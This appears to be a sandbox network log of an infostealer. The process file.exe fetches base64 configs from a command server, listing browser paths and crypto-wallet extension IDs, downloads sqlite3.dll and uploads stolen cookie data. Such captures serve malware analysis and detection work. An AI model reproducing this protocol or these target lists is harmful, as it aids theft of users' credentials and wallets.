Nov 30, 2024 22:52:28.411567926 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 4e 6b 4d 47 52 6b 4d 7a 63 30 5a 54 41 30 59 6a 63 31 4f 47 52 69 59 7a 59 33 59 32 51 32 5a 44 6b 77 59 7a 52 6a 4e 47 56 6a 59 6a 59 30 4f 54 45 7a 4d 44 41 77 4d 7a 55 79 59 6a 46 6d 4f 47 51 77 4e 54 4d 79 4e 44 6b 34 4d 44 6b 7a 5a 47 51 30 59 6a 63 77 4d 6d 51 35 59 7a 63 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTNkMGRkMzc0ZTA0Yjc1OGRiYzY3Y2Q2ZDkwYzRjNGVjYjY0OTEzMDAwMzUyYjFmOGQwNTMyNDk4MDkzZGQ0YjcwMmQ5YzcxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 30, 2024 22:52:28.413103104 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIII Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"browsers------ECAKECAEGDHIECBGHIII--
Nov 30, 2024 22:52:28.877110004 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 30, 2024 22:52:28.877391100 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 30, 2024 22:52:29.087455988 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 30, 2024 22:52:29.088953018 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 2d 2d 0d 0a Data Ascii: ------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="message"plugins------CBGCBKFBGIIIECAAAKFC--
Nov 30, 2024 22:52:29.552954912 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 30, 2024 22:52:29.553215027 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 30, 2024 22:52:29.553481102 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 30, 2024 22:52:29.553776979 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 30, 2024 22:52:29.553790092 CET	248	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 30, 2024 22:52:29.554389000 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 30, 2024 22:52:29.554889917 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Nov 30, 2024 22:52:29.562786102 CET	248	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Nov 30, 2024 22:52:29.763242006 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 30, 2024 22:52:29.764728069 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="message"fplugins------GDHDAEBGCAAFIDGCGDHI--
Nov 30, 2024 22:52:30.227823973 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 30, 2024 22:52:30.270265102 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJK Host: 185.215.113.206 Content-Length: 7555 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 22:52:31.369105101 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:52:31.650033951 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 22:52:32.111218929 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:52:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49728	185.215.113.206	80	764	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:52:41.483761072 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JKKEHJDHJKFIECAAKFIJ--
